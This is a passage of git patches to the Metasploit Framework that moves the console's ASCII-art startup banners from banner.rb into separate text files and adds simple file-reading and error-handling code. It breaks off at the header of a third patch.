From a0ba2f4951fda3d1f32dfec63d6f7870d4398145 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 9 Jan 2013 19:54:08 -0600 Subject: [PATCH 01/87] Seperate data from code Banners are content more than anything. --- lib/msf/ui/banner.rb | 308 ++---------------------- lib/msf/ui/logos/3kom-superhack.txt | 19 ++ lib/msf/ui/logos/branded-longhorn.txt | 10 + lib/msf/ui/logos/cow-head.txt | 17 ++ lib/msf/ui/logos/cowsay.txt | 10 + lib/msf/ui/logos/figlet.txt | 7 + lib/msf/ui/logos/i-heart-shells.txt | 9 + lib/msf/ui/logos/metasploit-shield.txt | 22 ++ lib/msf/ui/logos/missile-command.txt | 30 +++ lib/msf/ui/logos/ninja.txt | 31 +++ lib/msf/ui/logos/null-pointer-deref.txt | 38 +++ lib/msf/ui/logos/r7-metasploit.txt | 16 ++ lib/msf/ui/logos/test.rb | 5 + lib/msf/ui/logos/wake-up-neo.txt | 25 ++ lib/msf/ui/logos/workflow-cartoon.txt | 22 ++ 15 files changed, 285 insertions(+), 284 deletions(-) create mode 100644 lib/msf/ui/logos/3kom-superhack.txt create mode 100644 lib/msf/ui/logos/branded-longhorn.txt create mode 100644 lib/msf/ui/logos/cow-head.txt create mode 100644 lib/msf/ui/logos/cowsay.txt create mode 100644 lib/msf/ui/logos/figlet.txt create mode 100644 lib/msf/ui/logos/i-heart-shells.txt create mode 100644 lib/msf/ui/logos/metasploit-shield.txt create mode 100644 lib/msf/ui/logos/missile-command.txt create mode 100644 lib/msf/ui/logos/ninja.txt create mode 100644 lib/msf/ui/logos/null-pointer-deref.txt create mode 100644 lib/msf/ui/logos/r7-metasploit.txt create mode 100644 lib/msf/ui/logos/test.rb create mode 100644 lib/msf/ui/logos/wake-up-neo.txt create mode 100644 lib/msf/ui/logos/workflow-cartoon.txt diff --git a/lib/msf/ui/banner.rb b/lib/msf/ui/banner.rb index c30dc8cdf6..d02f48560c 100644 --- a/lib/msf/ui/banner.rb +++ b/lib/msf/ui/banner.rb @@ -10,301 +10,41 @@ module Ui module Banner Logos = - [ -%Q{ -%whiCall trans opt: received. 2-19-98 13:24:18 REC:Loc - - Trace program: running - - wake up, Neo... - %bldthe matrix has you%clr - follow the white rabbit. - - knock, knock, Neo. - - (`. ,-, - ` `. ,;' / - `. ,'/ .' - `. X /.' - .-;--''--.._` ` ( - .' / ` - , ` ' Q ' - , , `._ \\ - ,.| ' `-.;_' - : . ` ; ` ` --,.._; - ' ` , ) .' - `._ , ' /_ - ; ,''-,;' ``- - ``-..__``--` -%clr}, - -%Q{%whi - _---------. - .' ####### ;." - .---,. ;@ @@`; .---,.. -." @@@@@'.,'@@ @@@@@',.'@@@@ ". -'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; - `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' - "--'.@@@ -.@ @ ,'- .'--" - ".@' ; @ @ `. ;' - |@@@@ @@@ @ . - ' @@@ @@ @@ , - `.@@@@ @@ . - ',@@ @ ; _____________ - ( 3 C ) /|___ / Metasploit! \\ - ;@'. __*__,." \\|--- \\_____________/ - '(.,...."/ -%clr}, -' -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% -%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% -%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% -%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% -%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% -%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -', -' - _ _ -/ \ /\ __ _ __ /_/ __ -| |\ / | _____ \ \ ___ _____ | | / \ _ \ \ -| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| -|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ - |/ |____/ \___\/ /\ \\\\___/ \/ \__| |_\ \___\ -', -%Q{ -%whiIIIIII %reddTb.dTb%clr _.---._ -%whi II %red4' v 'B%clr .'"".'/|\`.""'. -%whi II %red6. .P%clr : .' / | \ `. : -%whi II %red'T;. .;P'%clr '.' / | \ `.' -%whi II %red'T; ;P'%clr `. / | \ .' -%whiIIIIII %red'YvP'%clr `-.__|__.-' - -I love shells --egypt -}, -' - , , - / \ - ((__---,,,---__)) - (_) O O (_)_________ - \ _ / |\ - o_o \ M S F | \ - \ _____ | * - ||| WW||| - ||| ||| -', -' -# cowsay++ - ____________ -< metasploit > - ------------ - \ ,__, - \ (oo)____ - (__) )\ - ||--|| * -', - - -'%clr - ______________________________________________________________________________ -| | -| %bld3Kom SuperHack II Logon%clr | -|______________________________________________________________________________| -| | -| | -| | -| User Name: [ %redsecurity%clr ] | -| | -| Password: [ ] | -| | -| | -| | -| %bld[ OK ]%clr | -|______________________________________________________________________________| -| | -|______________________________________________________________________________| -%clr -', - - -'%clr - ______________________________________________________________________________ -| | -| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr | -|______________________________________________________________________________| - %yel\%clr %yel/%clr %yel/%clr - %yel\%clr . %yel/%clr %yel/%clr x - %yel\%clr %yel/%clr %yel/%clr - %yel\%clr %yel/%clr + %yel/%clr - %yel\%clr + %yel/%clr %yel/%clr - * %yel/%clr %yel/%clr - %yel/%clr . %yel/%clr - X %yel/%clr %yel/%clr X - %yel/%clr %red###%clr - %yel/%clr %red# %bld%%clr%red #%clr - %yel/%clr %red###%clr - . %yel/%clr - . %yel/%clr . %red*%clr . - %yel/%clr - * - + %red*%clr - - %bld^%clr -#### __ __ __ ####### __ __ __ #### -#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr #### -################################################################################ -################################################################################ -# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # -################################################################################ -%clr -', - - -' -%clr%whi -Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f -EFLAGS: 00010046 -eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001 -esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60 -ds: 0018 es: 0018 ss: 0018 -Process Swapper (Pid: 0, process nr: 0, stackpage=80377000) - -%bld -Stack: 90909090990909090990909090 - 90909090990909090990909090 - 90909090.90909090.90909090 - 90909090.90909090.90909090 - 90909090.90909090.09090900 - 90909090.90909090.09090900 - .......................... - cccccccccccccccccccccccccc - cccccccccccccccccccccccccc - ccccccccc................. - cccccccccccccccccccccccccc - cccccccccccccccccccccccccc - .................ccccccccc - cccccccccccccccccccccccccc - cccccccccccccccccccccccccc - .......................... - ffffffffffffffffffffffffff - ffffffff.................. - ffffffffffffffffffffffffff - ffffffff.................. - ffffffff.................. - ffffffff.................. -%clr - -%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr -Aiee, Killing Interrupt handler -%redKernel panic: Attempted to kill the idle task! -In swapper task - not syncing -%clr -', -' -%clr -%bluMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM%clr -%bluMMMMMMMMMMM MMMMMMMMMM%clr -%bluMMMN$ vMMMM%clr -%bluMMMNl%clr %bldMMMMM MMMMM%clr %bluJMMMM%clr -%bluMMMNl%clr %bldMMMMMMMN NMMMMMMM%clr %bluJMMMM%clr -%bluMMMNl%clr %bldMMMMMMMMMNmmmNMMMMMMMMM%clr %bluJMMMM%clr -%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldMMMNM MMMMMMM MMMMM%clr %blujMMMM%clr -%bluMMMNI%clr %bldWMMMM MMMMMMM MMMM#%clr %bluJMMMM%clr -%bluMMMMR%clr %bld?MMNM MMMMM%clr %blu.dMMMM%clr -%bluMMMMNm%clr %bld`?MMM MMMM`%clr %bludMMMMM%clr -%bluMMMMMMN%clr %bld?MM MM?%clr %bluNMMMMMN%clr -%bluMMMMMMMMNe%clr %bluJMMMMMNMMM%clr -%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr -%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr -%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr -%clr -', -' -%clr ######## # - ################# # - ###################### # - ######################### # - ############################ - ############################## - ############################### - ############################### - ############################## - # ######## # - %red##%clr %red###%clr #### ## - ### ### - #### ### - #### ########## #### - ####################### #### - #################### #### - ################## #### - ############ ## - ######## ### - ######### ##### - ############ ###### - ######## ######### - ##### ######## - ### ######### - ###### ############ - ####################### - # # ### # # ## - ######################## - ## ## ## ## -%clr -', -%Q{ - %whi+-------------------------------------------------------+ - %whi| METASPLOIT by Rapid7 | - %whi+---------------------------+---------------------------+ - %whi| %blu__________________ %whi| | - %whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======\[%red*** %whi| - %whi| %blu)%yel=%blu\\\ %whi| %grn| %whiEXPLOIT %grn\\ %whi| - %whi| %blu// \\\\ %whi| %grn|_____________\\_______ %whi| - %whi| %blu// \\\\ %whi| %grn|==\[%whimsf >%grn\]============\\ %whi| - %whi| %blu// \\\\ %whi| %grn|______________________\\ %whi| - %whi| %blu// %whiRECON %blu\\\\ %whi| %grn\\(@)(@)(@)(@)(@)(@)(@)/ %whi| - %whi| %blu// \\\\ %whi| %grn********************* %whi| - %whi+---------------------------+---------------------------+ - %whi| o O o | %yel\\'\\/\\/\\/'/ %whi| - %whi| o O | %yel)%whi======%yel( %whi| - %whi| o | %yel.' %whiLOOT %yel'. %whi| - %whi| %red|^^^^^^^^^^^^^^\|l%red___ %whi| %yel/ %grn_||__ %yel\\ %whi| - %whi| %red| %whiPAYLOAD %red|%whi""\\%red___, %whi| %yel/ %grn(_||_ %yel\\ %whi| - %whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi| - %whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi| - %whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi| - %whi+---------------------------+---------------------------+%clr - %clr -},] - - - + %w{ + wake-up-neo.txt + cow-head.txt + r7-metasploit.txt + figlet.txt + i-heart-shells.txt + branded-longhorn.txt + cowsay.txt + 3kom-superhack.txt + missile-command.txt + null-pointer-deref.txt + metasploit-shield.txt + ninja.txt + workflow.txt + } # # Returns a random metasploit logo. # + + def self.readfile(fname) + base = File.expand_path(File.dirname(__FILE__)) + File.open(File.join(base, "logos", fname)) {|f| f.read f.stat.size} + end + def self.to_s if ENV['GOCOW'] case rand(2) when 0 - Logos[1] + self.readfile Logos[1] when 1 - Logos[5] + self.readfile Logos[5] end else - Logos[rand(Logos.length)] + self.readfile Logos[rand(Logos.length)] end end diff --git a/lib/msf/ui/logos/3kom-superhack.txt b/lib/msf/ui/logos/3kom-superhack.txt new file mode 100644 index 0000000000..a2097f972a --- /dev/null +++ b/lib/msf/ui/logos/3kom-superhack.txt @@ -0,0 +1,19 @@ +%clr + ______________________________________________________________________________ +| | +| %bld3Kom SuperHack II Logon%clr | +|______________________________________________________________________________| +| | +| | +| | +| User Name: [ %redsecurity%clr ] | +| | +| Password: [ ] | +| | +| | +| | +| %bld[ OK ]%clr | +|______________________________________________________________________________| +| | +|______________________________________________________________________________| +%clr diff --git a/lib/msf/ui/logos/branded-longhorn.txt b/lib/msf/ui/logos/branded-longhorn.txt new file mode 100644 index 0000000000..df7e2f745f --- /dev/null +++ b/lib/msf/ui/logos/branded-longhorn.txt @@ -0,0 +1,10 @@ + + , , + / \ + ((__---,,,---__)) + (_) O O (_)_________ + \ _ / |\ + o_o \ M S F | \ + \ _____ | * + ||| WW||| + ||| ||| diff --git a/lib/msf/ui/logos/cow-head.txt b/lib/msf/ui/logos/cow-head.txt new file mode 100644 index 0000000000..16ed1021d6 --- /dev/null +++ b/lib/msf/ui/logos/cow-head.txt @@ -0,0 +1,17 @@ +%whi + _---------. + .' ####### ;." + .---,. ;@ @@`; .---,.. +." @@@@@'.,'@@ @@@@@',.'@@@@ ". +'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; + `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' + "--'.@@@ -.@ @ ,'- .'--" + ".@' ; @ @ `. ;' + |@@@@ @@@ @ . + ' @@@ @@ @@ , + `.@@@@ @@ . + ',@@ @ ; _____________ + ( 3 C ) /|___ / Metasploit! \\ + ;@'. __*__,." \\|--- \\_____________/ + '(.,...."/ +%clr diff --git a/lib/msf/ui/logos/cowsay.txt b/lib/msf/ui/logos/cowsay.txt new file mode 100644 index 0000000000..7b34488352 --- /dev/null +++ b/lib/msf/ui/logos/cowsay.txt @@ -0,0 +1,10 @@ + +# cowsay++ + ____________ +< metasploit > + ------------ + \ ,__, + \ (oo)____ + (__) )\ + ||--|| * + diff --git a/lib/msf/ui/logos/figlet.txt b/lib/msf/ui/logos/figlet.txt new file mode 100644 index 0000000000..1567ea1774 --- /dev/null +++ b/lib/msf/ui/logos/figlet.txt @@ -0,0 +1,7 @@ + _ _ +/ \ /\ __ _ __ /_/ __ +| |\ / | _____ \ \ ___ _____ | | / \ _ \ \ +| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| +|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ + |/ |____/ \___\/ /\ \\\\___/ \/ \__| |_\ \___\ + diff --git a/lib/msf/ui/logos/i-heart-shells.txt b/lib/msf/ui/logos/i-heart-shells.txt new file mode 100644 index 0000000000..aeaff31aaa --- /dev/null +++ b/lib/msf/ui/logos/i-heart-shells.txt @@ -0,0 +1,9 @@ +%whiIIIIII %reddTb.dTb%clr _.---._ +%whi II %red4' v 'B%clr .'"".'/|\`.""'. +%whi II %red6. .P%clr : .' / | \ `. : +%whi II %red'T;. .;P'%clr '.' / | \ `.' +%whi II %red'T; ;P'%clr `. / | \ .' +%whiIIIIII %red'YvP'%clr `-.__|__.-' + +I love shells --egypt + diff --git a/lib/msf/ui/logos/metasploit-shield.txt b/lib/msf/ui/logos/metasploit-shield.txt new file mode 100644 index 0000000000..7f8648754f --- /dev/null +++ b/lib/msf/ui/logos/metasploit-shield.txt @@ -0,0 +1,22 @@ +%clr +%bluMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM%clr +%bluMMMMMMMMMMM MMMMMMMMMM%clr +%bluMMMN$ vMMMM%clr +%bluMMMNl%clr %bldMMMMM MMMMM%clr %bluJMMMM%clr +%bluMMMNl%clr %bldMMMMMMMN NMMMMMMM%clr %bluJMMMM%clr +%bluMMMNl%clr %bldMMMMMMMMMNmmmNMMMMMMMMM%clr %bluJMMMM%clr +%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMNM MMMMMMM MMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldWMMMM MMMMMMM MMMM#%clr %bluJMMMM%clr +%bluMMMMR%clr %bld?MMNM MMMMM%clr %blu.dMMMM%clr +%bluMMMMNm%clr %bld`?MMM MMMM`%clr %bludMMMMM%clr +%bluMMMMMMN%clr %bld?MM MM?%clr %bluNMMMMMN%clr +%bluMMMMMMMMNe%clr %bluJMMMMMNMMM%clr +%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr +%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr +%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr +%clr + diff --git a/lib/msf/ui/logos/missile-command.txt b/lib/msf/ui/logos/missile-command.txt new file mode 100644 index 0000000000..1eda5e790a --- /dev/null +++ b/lib/msf/ui/logos/missile-command.txt @@ -0,0 +1,30 @@ +%clr + ______________________________________________________________________________ +| | +| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr | +|______________________________________________________________________________| + %yel\%clr %yel/%clr %yel/%clr + %yel\%clr . %yel/%clr %yel/%clr x + %yel\%clr %yel/%clr %yel/%clr + %yel\%clr %yel/%clr + %yel/%clr + %yel\%clr + %yel/%clr %yel/%clr + * %yel/%clr %yel/%clr + %yel/%clr . %yel/%clr + X %yel/%clr %yel/%clr X + %yel/%clr %red###%clr + %yel/%clr %red# %bld%%clr%red #%clr + %yel/%clr %red###%clr + . %yel/%clr + . %yel/%clr . %red*%clr . + %yel/%clr + * + + %red*%clr + + %bld^%clr +#### __ __ __ ####### __ __ __ #### +#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr #### +################################################################################ +################################################################################ +# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # +################################################################################ +%clr diff --git a/lib/msf/ui/logos/ninja.txt b/lib/msf/ui/logos/ninja.txt new file mode 100644 index 0000000000..d5aff31eb2 --- /dev/null +++ b/lib/msf/ui/logos/ninja.txt @@ -0,0 +1,31 @@ +%clr ######## # + ################# # + ###################### # + ######################### # + ############################ + ############################## + ############################### + ############################### + ############################## + # ######## # + %red##%clr %red###%clr #### ## + ### ### + #### ### + #### ########## #### + ####################### #### + #################### #### + ################## #### + ############ ## + ######## ### + ######### ##### + ############ ###### + ######## ######### + ##### ######## + ### ######### + ###### ############ + ####################### + # # ### # # ## + ######################## + ## ## ## ## +%clr + diff --git a/lib/msf/ui/logos/null-pointer-deref.txt b/lib/msf/ui/logos/null-pointer-deref.txt new file mode 100644 index 0000000000..9a9c1fa0bb --- /dev/null +++ b/lib/msf/ui/logos/null-pointer-deref.txt @@ -0,0 +1,38 @@ +%clr%whi +Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f +EFLAGS: 00010046 +eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001 +esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60 +ds: 0018 es: 0018 ss: 0018 +Process Swapper (Pid: 0, process nr: 0, stackpage=80377000) + +%bld +Stack: 90909090990909090990909090 + 90909090990909090990909090 + 90909090.90909090.90909090 + 90909090.90909090.90909090 + 90909090.90909090.09090900 + 90909090.90909090.09090900 + .......................... + cccccccccccccccccccccccccc + cccccccccccccccccccccccccc + ccccccccc................. + cccccccccccccccccccccccccc + cccccccccccccccccccccccccc + .................ccccccccc + cccccccccccccccccccccccccc + cccccccccccccccccccccccccc + .......................... + ffffffffffffffffffffffffff + ffffffff.................. + ffffffffffffffffffffffffff + ffffffff.................. + ffffffff.................. + ffffffff.................. +%clr + +%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr +Aiee, Killing Interrupt handler +%redKernel panic: Attempted to kill the idle task! +In swapper task - not syncing +%clr diff --git a/lib/msf/ui/logos/r7-metasploit.txt b/lib/msf/ui/logos/r7-metasploit.txt new file mode 100644 index 0000000000..ca62faacf8 --- /dev/null +++ b/lib/msf/ui/logos/r7-metasploit.txt @@ -0,0 +1,16 @@ +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% +%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% +%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% +%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% +%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% diff --git a/lib/msf/ui/logos/test.rb b/lib/msf/ui/logos/test.rb new file mode 100644 index 0000000000..2a8e063414 --- /dev/null +++ b/lib/msf/ui/logos/test.rb @@ -0,0 +1,5 @@ + +here = File.expand_path(File.dirname(__FILE__)) + +puts "Hi I live #{here}!" + diff --git a/lib/msf/ui/logos/wake-up-neo.txt b/lib/msf/ui/logos/wake-up-neo.txt new file mode 100644 index 0000000000..e5606e1abd --- /dev/null +++ b/lib/msf/ui/logos/wake-up-neo.txt @@ -0,0 +1,25 @@ +%whiCall trans opt: received. 2-19-98 13:24:18 REC:Loc + + Trace program: running + + wake up, Neo... + %bldthe matrix has you%clr + follow the white rabbit. + + knock, knock, Neo. + + (`. ,-, + ` `. ,;' / + `. ,'/ .' + `. X /.' + .-;--''--.._` ` ( + .' / ` + , ` ' Q ' + , , `._ \\ + ,.| ' `-.;_' + : . ` ; ` ` --,.._; + ' ` , ) .' + `._ , ' /_ + ; ,''-,;' ``- + ``-..__``--` +%clr diff --git a/lib/msf/ui/logos/workflow-cartoon.txt b/lib/msf/ui/logos/workflow-cartoon.txt new file mode 100644 index 0000000000..1437bb8eed --- /dev/null +++ b/lib/msf/ui/logos/workflow-cartoon.txt @@ -0,0 +1,22 @@ + %whi+-------------------------------------------------------+ + %whi| METASPLOIT by Rapid7 | + %whi+---------------------------+---------------------------+ + %whi| %blu__________________ %whi| | + %whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======\[%red*** %whi| + %whi| %blu)%yel=%blu\\\ %whi| %grn| %whiEXPLOIT %grn\\ %whi| + %whi| %blu// \\\\ %whi| %grn|_____________\\_______ %whi| + %whi| %blu// \\\\ %whi| %grn|==\[%whimsf >%grn\]============\\ %whi| + %whi| %blu// \\\\ %whi| %grn|______________________\\ %whi| + %whi| %blu// %whiRECON %blu\\\\ %whi| %grn\\(@)(@)(@)(@)(@)(@)(@)/ %whi| + %whi| %blu// \\\\ %whi| %grn********************* %whi| + %whi+---------------------------+---------------------------+ + %whi| o O o | %yel\\'\\/\\/\\/'/ %whi| + %whi| o O | %yel)%whi======%yel( %whi| + %whi| o | %yel.' %whiLOOT %yel'. %whi| + %whi| %red|^^^^^^^^^^^^^^\|l%red___ %whi| %yel/ %grn_||__ %yel\\ %whi| + %whi| %red| %whiPAYLOAD %red|%whi""\\%red___, %whi| %yel/ %grn(_||_ %yel\\ %whi| + %whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi| + %whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi| + %whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi| + %whi+---------------------------+---------------------------+%clr + %clr From 12f0501f2f7254d100ad881bafbab6b5aa9999c5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 9 Jan 2013 20:38:14 -0600 Subject: [PATCH 02/87] Add a little erorr checking, another cow --- lib/msf/ui/banner.rb | 11 +++++++++-- lib/msf/ui/web/r7-metasploit.txt | 17 +++++++++++++++++ 2 files changed, 26 insertions(+), 2 deletions(-) create mode 100644 lib/msf/ui/web/r7-metasploit.txt diff --git a/lib/msf/ui/banner.rb b/lib/msf/ui/banner.rb index d02f48560c..f6fee11d11 100644 --- a/lib/msf/ui/banner.rb +++ b/lib/msf/ui/banner.rb @@ -32,16 +32,23 @@ module Banner def self.readfile(fname) base = File.expand_path(File.dirname(__FILE__)) - File.open(File.join(base, "logos", fname)) {|f| f.read f.stat.size} + pathname = File.join(base, "logos", fname) + begin + fdata = File.open(pathname) {|f| f.read f.stat.size} + rescue SystemCallError + fdata = "" + end end def self.to_s if ENV['GOCOW'] - case rand(2) + case rand(3) when 0 self.readfile Logos[1] when 1 self.readfile Logos[5] + when 2 + self.readfile Logos[6] end else self.readfile Logos[rand(Logos.length)] diff --git a/lib/msf/ui/web/r7-metasploit.txt b/lib/msf/ui/web/r7-metasploit.txt new file mode 100644 index 0000000000..024a5853ac --- /dev/null +++ b/lib/msf/ui/web/r7-metasploit.txt @@ -0,0 +1,17 @@ +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% +%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% +%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% +%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% +%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + From 6f26e9efb24a0936faf40c2a9b263b18b304af5b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 9 